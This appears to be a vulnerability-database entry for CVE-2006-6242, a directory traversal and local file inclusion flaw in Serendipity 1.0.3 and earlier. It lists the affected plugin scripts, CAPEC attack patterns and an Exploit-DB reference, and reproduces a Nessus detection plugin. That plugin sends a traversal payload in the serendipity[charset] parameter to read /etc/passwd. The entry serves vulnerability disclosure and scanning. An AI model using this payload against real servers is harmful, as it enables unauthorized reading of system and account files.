Vulnerabilities > CVE-2006-6242 - Path Traversal vulnerability in S9Y Serendipity

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
s9y
CWE-22
nessus
exploit available

Summary

Multiple directory traversal vulnerabilities in Serendipity 1.0.3 and earlier allow remote attackers to read or include arbitrary local files via a .. (dot dot) sequence in the serendipity[charset] parameter in (1) include/lang.inc.php; or to plugins/ scripts (2) serendipity_event_bbcode/serendipity_event_bbcode.php, (3) serendipity_event_browsercompatibility/serendipity_event_browsercompatibility.php, (4) serendipity_event_contentrewrite/serendipity_event_contentrewrite.php, (5) serendipity_event_creativecommons/serendipity_event_creativecommons.php, (6) serendipity_event_emoticate/serendipity_event_emoticate.php, (7) serendipity_event_entryproperties/serendipity_event_entryproperties.php, (8) serendipity_event_karma/serendipity_event_karma.php, (9) serendipity_event_livesearch/serendipity_event_livesearch.php, (10) serendipity_event_mailer/serendipity_event_mailer.php, (11) serendipity_event_nl2br/serendipity_event_nl2br.php, (12) serendipity_event_s9ymarkup/serendipity_event_s9ymarkup.php, (13) serendipity_event_searchhighlight/serendipity_event_searchhighlight.php, (14) serendipity_event_spamblock/serendipity_event_spamblock.php, (15) serendipity_event_spartacus/serendipity_event_spartacus.php, (16) serendipity_event_statistics/serendipity_plugin_statistics.php, (17) serendipity_event_templatechooser/serendipity_event_templatechooser.php, (18) serendipity_event_textile/serendipity_event_textile.php, (19) serendipity_event_textwiki/serendipity_event_textwiki.php, (20) serendipity_event_trackexits/serendipity_event_trackexits.php, (21) serendipity_event_weblogping/serendipity_event_weblogping.php, (22) serendipity_event_xhtmlcleanup/serendipity_event_xhtmlcleanup.php, (23) serendipity_plugin_comments/serendipity_plugin_comments.php, (24) serendipity_plugin_creativecommons/serendipity_plugin_creativecommons.php, (25) serendipity_plugin_entrylinks/serendipity_plugin_entrylinks.php, (26) serendipity_plugin_eventwrapper/serendipity_plugin_eventwrapper.php, (27) serendipity_plugin_history/serendipity_plugin_history.php, (28) serendipity_plugin_recententries/serendipity_plugin_recententries.php, (29) serendipity_plugin_remoterss/serendipity_plugin_remoterss.php, (30) serendipity_plugin_shoutbox/serendipity_plugin_shoutbox.php, and and (31) serendipity_plugin_templatedropdown/serendipity_plugin_templatedropdown.php. Successful exploitation requires that "register_globals" is enabled. This vulnerability is addressed in the following product release: S9Y, Serendipity, 1.0.4

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

descriptionSerendipity <= 1.0.3 (comment.php) Local File Include Exploit. CVE-2006-6242. Webapps exploit for php platform
fileexploits/php/webapps/2869.php
idEDB-ID:2869
last seen2016-01-31
modified2006-11-30
platformphp
port
published2006-11-30
reporterKacper
sourcehttps://www.exploit-db.com/download/2869/
titleSerendipity <= 1.0.3 comment.php Local File Include Exploit
typewebapps

Nessus

NASL familyCGI abuses
NASL idSERENDIPITY_CHARSET_FILE_INCLUDE.NASL
descriptionThe
last seen2020-06-01
modified2020-06-02
plugin id23752
published2006-12-01
reporterThis script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/23752
titleSerendipity serendipity_event_bbcode.php Script serendipity[charset] Parameter Local File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(23752);
  script_version("1.16");

  script_cve_id("CVE-2006-6242");
  script_bugtraq_id(21367);
  script_xref(name:"EDB-ID", value:"2869");

  script_name(english:"Serendipity serendipity_event_bbcode.php Script serendipity[charset] Parameter Local File Inclusion");
  script_summary(english:"Tries to read a local file with Serendipity");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
a local file inclusion issue." );
  script_set_attribute(attribute:"description", value:
"The 'plugins/serendipity_event_bbcode/serendipity_event_bbcode.php'
script included with the version of Serendipity installed on the
remote host fails to sanitize input to the 'serendipity[charset]'
parameter before using it to include PHP code. 

Provided PHP's 'register_globals' setting is enabled, an
unauthenticated, remote attacker may be able to exploit this issue to
view arbitrary files or to execute arbitrary PHP code on the remote
host, subject to the privileges of the web server user id. 

Note that several other scripts included in Serendipity are reportedly
affected by the same issue, although Nessus has not checked them." );
  script_set_attribute(attribute:"see_also", value:"https://board.s9y.org/viewtopic.php?f=6&t=7926" );
  script_set_attribute(attribute:"solution", value:
"Upgrade to Serendipity version 1.0.4 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_cwe_id(22);
  script_set_attribute(attribute:"vuln_publication_date", value: "2006/11/30");
  script_set_attribute(attribute:"patch_publication_date", value: "2006/12/01");
  script_set_attribute(attribute:"plugin_publication_date", value: "2006/12/01");
 script_cvs_date("Date: 2018/11/15 20:50:18");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe",value:"cpe:/a:s9y:serendipity");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("serendipity_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/serendipity");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Test an install.
install = get_kb_item(string("www/", port, "/serendipity"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches))
{
  dir = matches[2];

  file = "../../../../../../../../../../../etc/passwd%00";
  r = http_send_recv3(method:"GET", port: port,
    item:string(
      dir, "/plugins/serendipity_event_bbcode/serendipity_event_bbcode.php?",
      "serendipity[charset]=", file ));
  if (isnull(r)) exit(0);
  res = r[2];

  # There's a problem if...
  if (
    # there's an entry for root or...
    egrep(pattern:"root:.*:0:[01]:", string:res) ||
    # we get an error saying "failed to open stream" or...
    egrep(pattern:"main\(.+/etc/passwd\\0lang/.+ failed to open stream", string:res) ||
    # we get an error claiming the file doesn't exist or...
    egrep(pattern:"main\(.+/etc/passwd\).*: failed to open stream: No such file", string:res) ||
    # we get an error about open_basedir restriction.
    egrep(pattern:"main.+ open_basedir restriction in effect. File\(.+/etc/passwd", string:res)
  )
  {
    if (egrep(string:res, pattern:"root:.*:0:[01]:"))
      contents = res - strstr(res, "<br");
    else contents = "";

    if (contents)
    {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "\n",
        "Here are the contents of the file '/etc/passwd' that Nessus\n",
        "was able to read from the remote host :\n",
        "\n",
        contents
      );
      security_warning(port:port, extra:report);
    }
    else security_warning(port);

    exit(0);
  }
}